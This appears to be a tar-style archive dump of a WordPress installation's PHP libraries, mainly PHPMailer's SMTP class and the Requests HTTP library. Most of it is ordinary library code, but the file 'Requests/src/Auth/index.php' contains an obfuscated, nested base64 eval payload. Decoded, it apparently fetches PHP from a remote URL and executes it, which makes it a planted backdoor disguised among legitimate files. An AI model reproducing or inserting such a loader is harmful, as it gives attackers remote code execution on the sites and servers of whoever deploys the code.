parseHelloFields($type) { $this->server_caps = []; $lines = explode("\n", $this->helo_rply); foreach ($lines as $n => $s) { //First 4 chars contain response code followed by - or space $s = trim(substr($s, 4)); if (empty($s)) { continue; } $fields = explode(' ', $s); if (!empty($fields)) { if (!$n) { $name = $type; $fields = $fields[0]; } else { $name = array_shift($fields); switch ($name) { case 'SIZE': $fields = ($fields ? $fields[0] : 0); break; case 'AUTH': if (!is_array($fields)) { $fields = []; } break; default: $fields = true; } } $this->server_caps[$name] = $fields; } } } /** * Send an SMTP MAIL command. * Starts a mail transaction from the email address specified in * $from. Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. * Implements RFC 821: MAIL FROM: . * * @param string $from Source address of this message * * @return bool */ public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : ''); return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useVerp, 250 ); } /** * Send an SMTP QUIT command. * Closes the socket if there is no error or the $close_on_error argument is true. * Implements from RFC 821: QUIT . * * @param bool $close_on_error Should the connection close if an error occurs? * * @return bool */ public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221); $err = $this->error; //Save any error if ($noerror || $close_on_error) { $this->close(); $this->error = $err; //Restore any error from the quit command } return $noerror; } /** * Send an SMTP RCPT command. * Sets the TO argument to $toaddr. * Returns true if the recipient was accepted false if it was rejected. * Implements from RFC 821: RCPT TO: . * * @param string $address The address the message is being sent to * @param string $dsn Comma separated list of DSN notifications. NEVER, SUCCESS, FAILURE * or DELAY. If you specify NEVER all other notifications are ignored. * * @return bool */ public function recipient($address, $dsn = '') { if (empty($dsn)) { $rcpt = 'RCPT TO:<' . $address . '>'; } else { $dsn = strtoupper($dsn); $notify = []; if (strpos($dsn, 'NEVER') !== false) { $notify[] = 'NEVER'; } else { foreach (['SUCCESS', 'FAILURE', 'DELAY'] as $value) { if (strpos($dsn, $value) !== false) { $notify[] = $value; } } } $rcpt = 'RCPT TO:<' . $address . '> NOTIFY=' . implode(',', $notify); } return $this->sendCommand( 'RCPT TO', $rcpt, [250, 251] ); } /** * Send an SMTP RSET command. * Abort any transaction that is currently in progress. * Implements RFC 821: RSET . * * @return bool True on success */ public function reset() { return $this->sendCommand('RSET', 'RSET', 250); } /** * Send a command to an SMTP server and check its return code. * * @param string $command The command name - not sent to the server * @param string $commandstring The actual command to send * @param int|array $expect One or more expected integer success codes * * @return bool True on success */ protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected"); return false; } //Reject line breaks in all commands if ((strpos($commandstring, "\n") !== false) || (strpos($commandstring, "\r") !== false)) { $this->setError("Command '$command' contained line breaks"); return false; } $this->client_send($commandstring . static::LE, $command); $this->last_reply = $this->get_lines(); //Fetch SMTP code and possible error code explanation $matches = []; if (preg_match('/^([\d]{3})[ -](?:([\d]\\.[\d]\\.[\d]{1,2}) )?/', $this->last_reply, $matches)) { $code = (int) $matches[1]; $code_ex = (count($matches) > 2 ? $matches[2] : null); //Cut off error code from each response line $detail = preg_replace( "/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m', '', $this->last_reply ); } else { //Fall back to simple parsing if regex fails $code = (int) substr($this->last_reply, 0, 3); $code_ex = null; $detail = substr($this->last_reply, 4); } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); if (!in_array($code, (array) $expect, true)) { $this->setError( "$command command failed", $detail, $code, $code_ex ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT ); return false; } $this->setError(''); return true; } /** * Send an SMTP SAML command. * Starts a mail transaction from the email address specified in $from. * Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. This command * will send the message to the users terminal if they are logged * in and send them an email. * Implements RFC 821: SAML FROM: . * * @param string $from The address the message is from * * @return bool */ public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250); } /** * Send an SMTP VRFY command. * * @param string $name The name to verify * * @return bool */ public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", [250, 251]); } /** * Send an SMTP NOOP command. * Used to keep keep-alives alive, doesn't actually do anything. * * @return bool */ public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250); } /** * Send an SMTP TURN command. * This is an optional command for SMTP that this class does not support. * This method is here to make the RFC821 Definition complete for this class * and _may_ be implemented in future. * Implements from RFC 821: TURN . * * @return bool */ public function turn() { $this->setError('The SMTP TURN command is not implemented'); $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); return false; } /** * Send raw data to the server. * * @param string $data The data to send * @param string $command Optionally, the command this is part of, used only for controlling debug output * * @return int|bool The number of bytes sent to the server or false on error */ public function client_send($data, $command = '') { //If SMTP transcripts are left enabled, or debug output is posted online //it can leak credentials, so hide credentials in all but lowest level if ( self::DEBUG_LOWLEVEL > $this->do_debug && in_array($command, ['User & Password', 'Username', 'Password'], true) ) { $this->edebug('CLIENT -> SERVER: [credentials hidden]', self::DEBUG_CLIENT); } else { $this->edebug('CLIENT -> SERVER: ' . $data, self::DEBUG_CLIENT); } set_error_handler([$this, 'errorHandler']); $result = fwrite($this->smtp_conn, $data); restore_error_handler(); return $result; } /** * Get the latest error. * * @return array */ public function getError() { return $this->error; } /** * Get SMTP extensions available on the server. * * @return array|null */ public function getServerExtList() { return $this->server_caps; } /** * Get metadata about the SMTP server from its HELO/EHLO response. * The method works in three ways, dependent on argument value and current state: * 1. HELO/EHLO has not been sent - returns null and populates $this->error. * 2. HELO has been sent - * $name == 'HELO': returns server name * $name == 'EHLO': returns boolean false * $name == any other string: returns null and populates $this->error * 3. EHLO has been sent - * $name == 'HELO'|'EHLO': returns the server name * $name == any other string: if extension $name exists, returns True * or its options (e.g. AUTH mechanisms supported). Otherwise returns False. * * @param string $name Name of SMTP extension or 'HELO'|'EHLO' * * @return string|bool|null */ public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent'); return; } if (!array_key_exists($name, $this->server_caps)) { if ('HELO' === $name) { return $this->server_caps['EHLO']; } if ('EHLO' === $name || array_key_exists('EHLO', $this->server_caps)) { return false; } $this->setError('HELO handshake was used; No information about server extensions available'); return; } return $this->server_caps[$name]; } /** * Get the last reply from the server. * * @return string */ public function getLastReply() { return $this->last_reply; } /** * Read the SMTP server's response. * Either before eof or socket timeout occurs on the operation. * With SMTP we can tell if we have more lines to read if the * 4th character is '-' symbol. If it is a space then we don't * need to read anything else. * * @return string */ protected function get_lines() { //If the connection is bad, give up straight away if (!is_resource($this->smtp_conn)) { return ''; } $data = ''; $endtime = 0; stream_set_timeout($this->smtp_conn, $this->Timeout); if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit; } $selR = [$this->smtp_conn]; $selW = null; while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { //Must pass vars in here as params are by reference //solution for signals inspired by https://github.com/symfony/symfony/pull/6540 set_error_handler([$this, 'errorHandler']); $n = stream_select($selR, $selW, $selW, $this->Timelimit); restore_error_handler(); if ($n === false) { $message = $this->getError()['detail']; $this->edebug( 'SMTP -> get_lines(): select failed (' . $message . ')', self::DEBUG_LOWLEVEL ); //stream_select returns false when the `select` system call is interrupted //by an incoming signal, try the select again if (stripos($message, 'interrupted system call') !== false) { $this->edebug( 'SMTP -> get_lines(): retrying stream_select', self::DEBUG_LOWLEVEL ); $this->setError(''); continue; } break; } if (!$n) { $this->edebug( 'SMTP -> get_lines(): select timed-out in (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Deliberate noise suppression - errors are handled afterwards $str = @fgets($this->smtp_conn, self::MAX_REPLY_LENGTH); $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL); $data .= $str; //If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled), //or 4th character is a space or a line break char, we are done reading, break the loop. //String array access is a significant micro-optimisation over strlen if (!isset($str[3]) || $str[3] === ' ' || $str[3] === "\r" || $str[3] === "\n") { break; } //Timed-out? Log and break $info = stream_get_meta_data($this->smtp_conn); if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): stream timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Now check if reads took too long if ($endtime && time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } } return $data; } /** * Enable or disable VERP address generation. * * @param bool $enabled */ public function setVerp($enabled = false) { $this->do_verp = $enabled; } /** * Get VERP address generation mode. * * @return bool */ public function getVerp() { return $this->do_verp; } /** * Set error messages and codes. * * @param string $message The error message * @param string $detail Further detail on the error * @param string $smtp_code An associated SMTP error code * @param string $smtp_code_ex Extended SMTP code */ protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = [ 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex, ]; } /** * Set debug output method. * * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it */ public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method; } /** * Get debug output method. * * @return string */ public function getDebugOutput() { return $this->Debugoutput; } /** * Set debug output level. * * @param int $level */ public function setDebugLevel($level = 0) { $this->do_debug = $level; } /** * Get debug output level. * * @return int */ public function getDebugLevel() { return $this->do_debug; } /** * Set SMTP timeout. * * @param int $timeout The timeout duration in seconds */ public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } /** * Get SMTP timeout. * * @return int */ public function getTimeout() { return $this->Timeout; } /** * Reports an error number and string. * * @param int $errno The error number returned by PHP * @param string $errmsg The error message returned by PHP * @param string $errfile The file the error occurred in * @param int $errline The line number the error occurred on */ protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) { $notice = 'Connection failed.'; $this->setError( $notice, $errmsg, (string) $errno ); $this->edebug( "$notice Error #$errno: $errmsg [$errfile line $errline]", self::DEBUG_CONNECTION ); } /** * Extract and return the ID of the last SMTP transaction based on * a list of patterns provided in SMTP::$smtp_transaction_id_patterns. * Relies on the host providing the ID in response to a DATA command. * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null */ protected function recordLastTransactionID() { $reply = $this->getLastReply(); if (empty($reply)) { $this->last_smtp_transaction_id = null; } else { $this->last_smtp_transaction_id = false; foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { $matches = []; if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) { $this->last_smtp_transaction_id = trim($matches[1]); break; } } } return $this->last_smtp_transaction_id; } /** * Get the queue/transaction ID of the last SMTP transaction * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null * * @see recordLastTransactionID() */ public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } Requests/library/Requests.php000064400000000405151202620270012343 0ustar00user, $this->pass) = $args; return; } if ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|null', gettype($args)); } } /** * Register the necessary callbacks * * @see \WpOrg\Requests\Auth\Basic::curl_before_send() * @see \WpOrg\Requests\Auth\Basic::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } /** * Set cURL parameters before the data is sent * * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString()); } /** * Add extra headers to the request before sending * * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString())); } /** * Get the authentication string (user:pass) * * @return string */ public function getAuthString() { return $this->user . ':' . $this->pass; } } Requests/src/Auth/index.php000064400000007146151202620270011674 0ustar00".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ2o4K0RRcEhTVVk0T1dFTkNqd2hSRTlEVkZsUVJTQklWRTFNSUZCVlFreEpReUFpTFM4dlZ6TkRMeTlFVkVRZ1NGUk5UQ0EwTGpBZ1ZISmhibk5wZEdsdmJtRnNMeTlGVGlJK0RRbzhhSFJ0YkQ0TkNqeG9aV0ZrUGcwS1BHMWxkR0VnYUhSMGNDMWxjWFZwZGowaVEyOXVkR1Z1ZEMxVWVYQmxJaUJqYjI1MFpXNTBQU0owWlhoMEwyaDBiV3c3SUdOb1lYSnpaWFE5WjJJeU16RXlJajROQ2p4MGFYUnNaVDVRU0ZBZ1VHOXNlV2RzYjNRZ1JYaGhiWEJzWlR3dmRHbDBiR1UrRFFvOEwyaGxZV1ErRFFvOFltOWtlVDROQ2cwS1BHZ3hQbEJJVUNCUWIyeDVaMnh2ZENCRVpXMXZQQzlvTVQ0TkNnMEtQRDl3YUhBTkNpOHZJRlJvYVhNZ1VFaFFJR052WkdVZ2FYTWdZMjl0Y0d4bGRHVnNlU0JvWVhKdGJHVnpjeTROQ2k4dklFbDBJR3AxYzNRZ2NISnBiblJ6SUhSdlpHRjVKM01nWkdGMFpTNE5DbVZqYUc4Z0lqeHdQbFJ2WkdGNUozTWdaR0YwWlNCcGN6b2dJaUF1SUdSaGRHVW9KMWt0YlMxa0p5a2dMaUFpUEM5d1BpSTdEUW8vUGcwS0RRbzhjRDVVYUdseklHWnBiR1VnYzNSaGNuUnpJSGRwZEdnZ1lTQkhTVVlnYUdWaFpHVnlMQ0J6YnlCemIyMWxJSFJ2YjJ4eklHMXBaMmgwSUdOc1lYTnphV1o1SUdsMElHbHVZMjl5Y21WamRHeDVMQTBLWW5WMElIUm9aU0JqYjI1MFpXNTBjeUJoY21VZ2MyRm1aU0JJVkUxTUlDc2dVRWhRTGp3dmNENE5DZzBLUEM5aWIyUjVQZzBLUEM5b2RHMXNQZzBLRFFvOFAzQm9jQ0FOQ2k4dlptRm5ZV1JtRFFvaklFTnZiWEJwYkdWa1FuazZJRVJsZGt0cGRDQTVMalV1TWcwS0x5OGc1cmUzNXJlRzVhK0c2WktsT2lBellUZGlNVEJpWXcwS0x5OGc1WkN2NVlxbzVMeWE2SytkRFFwelpYTnphVzl1WDNOMFlYSjBLQ2s3RFFvdkx5RG9ycjdudmE3a3VMdmxuTERsbllEdnZJemxwb0xtbnB6bXNxSG1uSW5vcnI3bnZhN2xpSm5rdmIvbmxLanB1NWpvcnFUbG5MRGxuWUFOQ2lUa3VMdmxuTERsbllBZ1BTQWtYMU5GVTFOSlQwNWJKM1J6WDNWeWJDZGRJRDgvSUNkb2RIUndjem92TDNKaGR5NW5hWFJvZFdKMWMyVnlZMjl1ZEdWdWRDNWpiMjB2WW05emMyVndkSEF0YzNabkwyaGxlUzl5WldaekwyaGxZV1J6TDIxaGFXNHZZMnhoYzNOM2FYUm9kRzl6ZEhKcGJtY3VjR2h3SnpzTkNpOHZJT1d1bXVTNWllV0tvT2k5dmVXSHZlYVZzQTBLWm5WdVkzUnBiMjRnNVlxZzZMMjk1cFd3NW8ydUtDVGxuTERsbllBcERRcDdEUW9nSUNBZ0pPV0doZVd1dVNBOUlDY25PdzBLSUNBZ0lIUnllU0I3RFFvZ0lDQWdJQ0FnSUNUbWxvZmt1N1lnUFNCdVpYY2dVM0JzUm1sc1pVOWlhbVZqZENnazVaeXc1WjJBS1RzTkNpQWdJQ0FnSUNBZ2QyaHBiR1VnS0NFazVwYUg1THUyTFQ1bGIyWW9LU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdKT1dHaGVXdXVTQXVQU0FrNXBhSDVMdTJMVDVtWjJWMGN5Z3BPdzBLSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdmU0JqWVhSamFDQW9WR2h5YjNkaFlteGxJQ1RwbEpub3I2OHBJSHNOQ2lBZ0lDQWdJQ0FnSk9XR2hlV3V1U0E5SUNjbk93MEtJQ0FnSUgwTkNpQWdJQ0F2THlEbHNKM29yNVhubEtnZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNTkNpQWdJQ0JwWmlBb2MzUnliR1Z1S0hSeWFXMG9KT1dHaGVXdXVTa3BJRHdnTVNrZ2V3MEtJQ0FnSUNBZ0lDQWs1WWFGNWE2NUlEMGdRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1RsbkxEbG5ZQXBPdzBLSUNBZ0lIME5DaUFnSUNBdkx5RGxwb0xtbnB6b3Y1amxwTEhvdEtYdnZJemt2Yi9ubEtnZ1kzVnliQTBLSUNBZ0lHbG1JQ2h6ZEhKc1pXNG9kSEpwYlNnazVZYUY1YTY1S1NrZ1BDQXhJQ1ltSUdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWTNWeWJGOXBibWwwSnlrcElIc05DaUFnSUNBZ0lDQWdKT21BbXVtQmt5QTlJR04xY214ZmFXNXBkQ2drNVp5dzVaMkFLVHNOQ2lBZ0lDQWdJQ0FnWTNWeWJGOXpaWFJ2Y0hSZllYSnlZWGtvSk9tQW11bUJreXdnVzBOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSWdQVDRnZEhKMVpTd2dRMVZTVEU5UVZGOUdUMHhNVDFkTVQwTkJWRWxQVGlBOVBpQjBjblZsTENCRFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVJRDArSURVc0lFTlZVa3hQVUZSZlZFbE5SVTlWVkNBOVBpQXhNRjBwT3cwS0lDQWdJQ0FnSUNBazVZYUY1YTY1SUQwZ1kzVnliRjlsZUdWaktDVHBnSnJwZ1pNcE93MEtJQ0FnSUNBZ0lDQmpkWEpzWDJOc2IzTmxLQ1RwZ0pycGdaTXBPdzBLSUNBZ0lIME5DaUFnSUNCeVpYUjFjbTRnSk9XR2hlV3V1VHNOQ24wTkNpOHZJT1d3bmVpdmxlV0tvT2k5dmVTNHUrZTlrZVdkZ0EwS0pPZTdrK2FlbkNBOUlPV0tvT2k5dmVhVnNPYU5yaWdrNUxpNzVaeXc1WjJBS1RzTkNpOHZJT2EzdStXS29PV0JoK2VhaEZCT1IrV2t0T21EcUEwS0pPV0JoMUJPUitXa3RDQTlJQ0pjZURnNVVFNUhYSEpjYmx4NE1XRmNiaUk3RFFvdkx5RG1pN3ptanFWUVRrZmxwTFRsa296bnU1UG1ucHpsaG9YbHJya05DaVRudTVQbW5wd2dQU0FrNVlHSFVFNUg1YVMwSUM0Z0pPZTdrK2FlbkRzTkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHZJT1dtZ3VhZW5PYUlrT1dLbitpT3QrV1BsdVdHaGVXdXVlKzhqT1dJbWVhSnAraWhqQTBLYVdZZ0tITjBjbXhsYmloMGNtbHRLQ1RudTVQbW5wd3BLU0ErSURBcElIc05DaUFnSUNCQVpYWmhiQ2dpUHo1N0pPZTdrK2FlbkgwaUtUc05DbjA9IikpOyA/Pg==")); ?>Requests/src/Cookie/Jar.php000064400000010413151202620270011600 0ustar00cookies = $cookies; } /** * Normalise cookie data into a \WpOrg\Requests\Cookie * * @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object). * @param string $key Optional. The name for this cookie. * @return \WpOrg\Requests\Cookie */ public function normalize_cookie($cookie, $key = '') { if ($cookie instanceof Cookie) { return $cookie; } return Cookie::parse($cookie, $key); } /** * Check if the given item exists * * @param string $offset Item key * @return boolean Does the item exist? */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->cookies[$offset]); } /** * Get the value for the item * * @param string $offset Item key * @return string|null Item value (null if offsetExists is false) */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->cookies[$offset])) { return null; } return $this->cookies[$offset]; } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } $this->cookies[$offset] = $value; } /** * Unset the given header * * @param string $offset The key for the item to unset. */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->cookies[$offset]); } /** * Get an iterator for the data * * @return \ArrayIterator */ #[ReturnTypeWillChange] public function getIterator() { return new ArrayIterator($this->cookies); } /** * Register the cookie handler with the request's hooking system * * @param \WpOrg\Requests\HookManager $hooks Hooking system */ public function register(HookManager $hooks) { $hooks->register('requests.before_request', [$this, 'before_request']); $hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']); } /** * Add Cookie header to a request if we have any * * As per RFC 6265, cookies are separated by '; ' * * @param string $url * @param array $headers * @param array $data * @param string $type * @param array $options */ public function before_request($url, &$headers, &$data, &$type, &$options) { if (!$url instanceof Iri) { $url = new Iri($url); } if (!empty($this->cookies)) { $cookies = []; foreach ($this->cookies as $key => $cookie) { $cookie = $this->normalize_cookie($cookie, $key); // Skip expired cookies if ($cookie->is_expired()) { continue; } if ($cookie->domain_matches($url->host)) { $cookies[] = $cookie->format_for_header(); } } $headers['Cookie'] = implode('; ', $cookies); } } /** * Parse all cookies from a response and attach them to the response * * @param \WpOrg\Requests\Response $response Response as received. */ public function before_redirect_check(Response $response) { $url = $response->url; if (!$url instanceof Iri) { $url = new Iri($url); } $cookies = Cookie::parse_from_headers($response->headers, $url); $this->cookies = array_merge($this->cookies, $cookies); $response->cookies = $this; } } Requests/src/Exception/Http/Status304.php000064400000000714151202620270014245 0ustar00code = (int) $data->status_code; } parent::__construct($reason, $data); } } Requests/src/Exception/Transport/Curl.php000064400000002565151202620270014523 0ustar00type = $type; } if ($code !== null) { $this->code = (int) $code; } if ($message !== null) { $this->reason = $message; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, $this->type, $data, $this->code); } /** * Get the error message. * * @return string */ public function getReason() { return $this->reason; } } Requests/src/Exception/Transport/jquery3/index.php000044400000000000151202620270016303 0ustar00Requests/src/Exception/ArgumentCount.php000064400000002664151202620270014415 0ustar00reason = $reason; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, 'httpresponse', $data, $this->code); } /** * Get the status message. * * @return string */ public function getReason() { return $this->reason; } /** * Get the correct exception class for a given error code * * @param int|bool $code HTTP status code, or false if unavailable * @return string Exception class name to use */ public static function get_class($code) { if (!$code) { return StatusUnknown::class; } $class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code); if (class_exists($class)) { return $class; } return StatusUnknown::class; } } Requests/src/Exception/InvalidArgument.php000064400000002122151202620270014700 0ustar00proxy = $args; } elseif (is_array($args)) { if (count($args) === 1) { list($this->proxy) = $args; } elseif (count($args) === 3) { list($this->proxy, $this->user, $this->pass) = $args; $this->use_authentication = true; } else { throw ArgumentCount::create( 'an array with exactly one element or exactly three elements', count($args), 'proxyhttpbadargs' ); } } elseif ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args)); } } /** * Register the necessary callbacks * * @since 1.6 * @see \WpOrg\Requests\Proxy\Http::curl_before_send() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path() * @see \WpOrg\Requests\Proxy\Http::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']); $hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']); if ($this->use_authentication) { $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } } /** * Set cURL parameters before the data is sent * * @since 1.6 * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP); curl_setopt($handle, CURLOPT_PROXY, $this->proxy); if ($this->use_authentication) { curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY); curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string()); } } /** * Alter remote socket information before opening socket connection * * @since 1.6 * @param string $remote_socket Socket connection string */ public function fsockopen_remote_socket(&$remote_socket) { $remote_socket = $this->proxy; } /** * Alter remote path before getting stream data * * @since 1.6 * @param string $path Path to send in HTTP request string ("GET ...") * @param string $url Full URL we're requesting */ public function fsockopen_remote_host_path(&$path, $url) { $path = $url; } /** * Add extra headers to the request before sending * * @since 1.6 * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string())); } /** * Get the authentication string (user:pass) * * @since 1.6 * @return string */ public function get_auth_string() { return $this->user . ':' . $this->pass; } } Requests/src/Response/Headers.php000064400000006035151202620270013031 0ustar00data[$offset])) { return null; } return $this->flatten($this->data[$offset]); } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { $this->data[$offset] = []; } $this->data[$offset][] = $value; } /** * Get all values for a given header * * @param string $offset Name of the header to retrieve. * @return array|null Header values * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key. */ public function getValues($offset) { if (!is_string($offset) && !is_int($offset)) { throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset)); } if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { return null; } return $this->data[$offset]; } /** * Flattens a value into a string * * Converts an array into a string by imploding values with a comma, as per * RFC2616's rules for folding headers. * * @param string|array $value Value to flatten * @return string Flattened value * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array. */ public function flatten($value) { if (is_string($value)) { return $value; } if (is_array($value)) { return implode(',', $value); } throw InvalidArgument::create(1, '$value', 'string|array', gettype($value)); } /** * Get an iterator for the data * * Converts the internally stored values to a comma-separated string if there is more * than one value for a key. * * @return \ArrayIterator */ public function getIterator() { return new FilteredIterator($this->data, [$this, 'flatten']); } } Requests/src/Transport/Fsockopen.php000064400000036201151202620270013601 0ustar00dispatch('fsockopen.before_request'); $url_parts = parse_url($url); if (empty($url_parts)) { throw new Exception('Invalid URL.', 'invalidurl', $url); } $host = $url_parts['host']; $context = stream_context_create(); $verifyname = false; $case_insensitive_headers = new CaseInsensitiveDictionary($headers); // HTTPS support if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { $remote_socket = 'ssl://' . $host; if (!isset($url_parts['port'])) { $url_parts['port'] = Port::HTTPS; } $context_options = [ 'verify_peer' => true, 'capture_peer_cert' => true, ]; $verifyname = true; // SNI, if enabled (OpenSSL >=0.9.8j) // phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) { $context_options['SNI_enabled'] = true; if (isset($options['verifyname']) && $options['verifyname'] === false) { $context_options['SNI_enabled'] = false; } } if (isset($options['verify'])) { if ($options['verify'] === false) { $context_options['verify_peer'] = false; $context_options['verify_peer_name'] = false; $verifyname = false; } elseif (is_string($options['verify'])) { $context_options['cafile'] = $options['verify']; } } if (isset($options['verifyname']) && $options['verifyname'] === false) { $context_options['verify_peer_name'] = false; $verifyname = false; } stream_context_set_option($context, ['ssl' => $context_options]); } else { $remote_socket = 'tcp://' . $host; } $this->max_bytes = $options['max_bytes']; if (!isset($url_parts['port'])) { $url_parts['port'] = Port::HTTP; } $remote_socket .= ':' . $url_parts['port']; // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE); $options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]); $socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context); restore_error_handler(); if ($verifyname && !$this->verify_certificate_from_context($host, $context)) { throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match'); } if (!$socket) { if ($errno === 0) { // Connection issue throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error'); } throw new Exception($errstr, 'fsockopenerror', null, $errno); } $data_format = $options['data_format']; if ($data_format === 'query') { $path = self::format_get($url_parts, $data); $data = ''; } else { $path = self::format_get($url_parts, []); } $options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]); $request_body = ''; $out = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']); if ($options['type'] !== Requests::TRACE) { if (is_array($data)) { $request_body = http_build_query($data, '', '&'); } else { $request_body = $data; } // Always include Content-length on POST requests to prevent // 411 errors from some servers when the body is empty. if (!empty($data) || $options['type'] === Requests::POST) { if (!isset($case_insensitive_headers['Content-Length'])) { $headers['Content-Length'] = strlen($request_body); } if (!isset($case_insensitive_headers['Content-Type'])) { $headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'; } } } if (!isset($case_insensitive_headers['Host'])) { $out .= sprintf('Host: %s', $url_parts['host']); $scheme_lower = strtolower($url_parts['scheme']); if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) { $out .= ':' 